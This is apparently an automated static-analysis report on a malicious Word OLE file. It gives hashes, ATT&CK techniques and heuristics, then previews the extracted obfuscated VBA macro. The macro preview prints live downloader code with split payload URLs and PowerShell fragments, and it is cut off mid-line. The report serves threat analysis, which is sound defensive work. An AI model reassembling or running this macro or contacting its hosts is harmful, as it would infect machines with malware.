Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25fcb3ad48ba5134…

MALICIOUS

Office (OLE)

206.0 KB First seen: 2018-01-23
MD5: d6be65cc62ff542df77ea583337f1c9d SHA-1: b5ea4029f8757f4a62fd1e02c5534ae7a6cc2d7a SHA-256: 25fcb3ad48ba5134f1475421c549b86a289cedb9360d17d9ccc6d336eba0e2b3
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Img.Dropper.PhishingLure-6443153-0'. It contains VBA macros, including an AutoOpen macro, and a critical 'Shell()' call, indicating it's designed to execute arbitrary code. The large slack space in the OLE structure is also suspicious. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it's intended to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 210,944 bytes but its declared streams total only 24,665 bytes — 186,279 bytes (88%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 81912 bytes
SHA-256: 605ecd1bb76d93eefdbc3f30a6b5c77234d178610f5305bd55ef38309bffe465
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GJwOFcGfqaH"
Function YQErrojjzZT()
zIMPzdYpw = UCase("PJTYRLdn" + "YcXiOMZHiEDV" + "EEqXzNm" + "BsJAsRftvkc" + "fBkhIVRmIljImO") + UCase("PhuMQAJ" + "kOdWvuOnUa" + "VCTJPdvzUQ" + "AOdMQLBX" + "wWiASiwW")
qOPpHaz = Mid("ihtrc9SlACE(rpa4l7rpa,[StRiwJi+wJinG][cHAr]92).rE'+'PlACE(rpa38QLbN", 8, 55)
uOCqBj = UCase("tCaGwHwn" + "lSUuwAaHwwm" + "JNkiYLiThL" + "CJJlqliP" + "mqlpJkhkNpYqOk") + UCase("pqbawUTwaGSl" + "PkVPinlScuVni" + "FrnWnYZvzJITiS" + "KjrzsVdUIHawRN" + "GnSaNEnkiMPTkL")
HBnhjzpc = UCase("tzMhRtBvYiiUA" + "HYNPsiiCmwOWw" + "TqliZHaSzT" + "kLUmWpqwhWcFOG" + "OrLQSuuccisDv") + UCase("OoYtSHXJQPGYYR" + "qlWYmsj" + "jACqisEd" + "vESiDLwwQFaw" + "uWcalzVf")
XvANrVWsz = UCase("jAURNqYuoZ" + "wOzUjTNLpQM" + "UJoGdnHXjqKN" + "pOLmOYzAmGw" + "stDPnRDUQzHZj") + UCase("GhBwGElqtEBZar" + "jiDpNluE" + "tYGtNqGm" + "USRwqzu" + "CAwNOrMH")
CGZtmSRBvrW = Mid("CCwFwlaa0padrpa+rpaom;3rpa+rlUH21J7wdiJr4kEUG4A0RiKPjEWr", 10, 19)
EbswmvlEGua = UCase("AfhptPRo" + "LlVcTwTnZ" + "ZVnIKaGfNHH" + "HGmDnAOS" + "hboOKnSDiHwX") + UCase("FnMWWOmjDhJEdO" + "PLSYHtsuztAmo" + "jAJkMBzrQdz" + "ziuiKjZcnTo" + "PCMsNcWcwH")
ASsaREQ = UCase("RDjWJMdtChzs" + "CzPWGZvlrDu" + "iuFuiht" + "jZDCjKGoEnSw" + "azAwrknMv") + UCase("zpPbSXzXAE" + "wduMpvS" + "hDlzrIwE" + "nwGalzDNQjoQFP" + "sIiTGlBpU")
mdpHzOvQC = UCase("RDDIJrdSl" + "PclimfzYM" + "vRmYSDKR" + "VtpoAQPbfCTSPs" + "zwEvwwE") + UCase("IfWzRfpG" + "MVPXZolOXDU" + "ttfZiaUwOT" + "QihJiQzwpwnGuc" + "XKThavknOlq")
NbJVisnz = Mid("JrUNOBY9Carpa+rpabcrpa+rpa in 3mybKSivKMorl773Ll", 10, 25)
amMzJ = UCase("OWOrYSV" + "CkDwfKirw" + "LiqcnTFiid" + "KlHlVWcoWsQSzC" + "OudTpOncdpO") + UCase("jvlposUszvMK" + "BCcjuMtZIELFK" + "kXIivGkttkCba" + "KfShSfnLKwi" + "UMaqakiEjUr")
uwFhcUzOmM = UCase("iEVHRsVzps" + "GzZGiaGnlzC" + "JfjsEfu" + "XnrPsUpVO" + "cqifMkBoGN") + UCase("wFcfALbk" + "RTuaGTGJOKlkZM" + "MZiSwrPZhJ" + "iPkrINkOHJ" + "EYtirawbXZsHTb")
jOwUlFtfzHc = UCase("NDJzVkUL" + "BWZOSqYahHQu" + "YuwZzcDHvGYBD" + "YoMQtaPKrjl" + "jbSSTsR") + UCase("fPAwmrHfFP" + "MPPzmUq" + "TdOCNnusco" + "njjiwJnQdBS" + "EciZoUbjzdVw")
ZKFoNHOwu = Mid("rPcESQ2tm+[CHAR]116),[CHAR]36  -rEPlACe'wJi',[CHAR]39-rEPlACe ([CHzl", 10, 57)
HMooWi = UCase("IoHBtNQjkrZW" + "YAKFLPU" + "ZSApdFl" + "pHRQbEw" + "FPinsInR") + UCase("vDXOnwD" + "bjVHMQIi" + "vjIGZTDDAvh" + "NQfiliBOmCLN" + "AVaztzaI")
FJIQvkjCd = UCase("QMnIszfqcbVcj" + "qwEMVAtKa" + "OGYBIjKKlrf" + "AHlCnsbANwHBlh" + "QzwzGlIumaiiw") + UCase("KrpmswwaS" + "AiZRRwWPb" + "tLntZLrNzcIKf" + "DFROsivqhkzX" + "qdnDOHIW")
qUhziXMV = UCase("Evqfzlijf" + "cDhfJqHz" + "iaMqOjvSpQA" + "wjFOKlXqTP" + "TJObnjp") + UCase("NUJMsrFbzCTp" + "iqfUcQzFk" + "ISXtjzEH" + "zjnAmWNXFJXn" + "amoSiHLPqbcLBt")
ijhlPjJAA = Mid("rJi+rp'+'a,rpa+rpahrpa+rpwJi+wJiattp:/rpa+rpa/karpetmurpa+rparrpa+rpaarpa+rpahrpa+rpa.nrpa+rpaet/hJ3ap/rpa+rpa,htrpa'+'+rpatp:rpa+rpa//piwJi+wJittmans.rpa'JS975pd2vj", 2, 154)
HFPfw = UCase("EwNjHjbqEqDpOM" + "HXsrDiCvCzAk" + "YtCWNEAV" + "LbMOqjG" + "WcQGwrORTU") + UCase("AKjGzPS" + "nhcJLLFL" + "fonWoidYT" + "bCoFujw" + "rfVMzXVTmu")
UYulHm = UCase("wYbuuhqjrp" + "zOtuvMVIskFOQw" + "VJIKplcsZhhctS" + "FwdpKwWvfPps" + "ksJKwwM") + UCase("YhAIUWUNNkcq" + "fIkbmAzN" + "uztaIjXXivG" + "hPdhpZB" + "RfNBuEkZjLzM")
THHLAzj = UCase("vWOpLEiK" + "WHLQjSPP" + "OAJBUAbtlqRAz" + "TFAMlfo" + "EmNznQWhu") + UCase("OLjjztBONRSrs" + "ZBrLfFdk" + "vvWoVML" + "EwYmlWkFGL" + "RWANuBZlYL")
ZRYiMw = Mid("s4GqbP2Ed4juaGFJK6sBPLplAcE  ([chAr]114+[chAr]112+[chAr]97),[chAr]39 '+' -rEplAcE  wJiVadwJi,[chAr]124) sKG. ( B8tshe'+'LLId[1]+B8tshElLID[13]+w'+'JiXwJi)') -rEPlACe  ([CHAR]66+[CHAR]560V1Z6r2GAUjFB", 23, 163)
acYUWAdkRQM = UCase("umAOtOoqq" + "hkEzsHu" + "azfLOlsjDvwnSz" + "kmccSvLNraajQ" + "HsRoOXOnjYOWM") + UCase("ssDmjrTL" + "ibBPknloF" + "qwDjwEZiwDE" + "viAUzXnwZ" + "vcmNNIizzk")
FwbrWZ = UCase("oPdLood" + "jBCuNvT" + "nfHFZuFTdu" + "cnvamMDHJIai" + "cCiWOcmRablGQF") + UCase("uJJhtFAQkaP" + "KoKQNzLdWPjF" + "HQCMJUW" + "bNzztoqb" + "uvwucdQKYJFb")
MAzAO = UCase("QCQFkwmUQjuJkw" + "LQvaRKUGZYHaM" + "bKmjRPC" + "VEzBajkjTHij" + "tZvhiwwqhc"
... (truncated)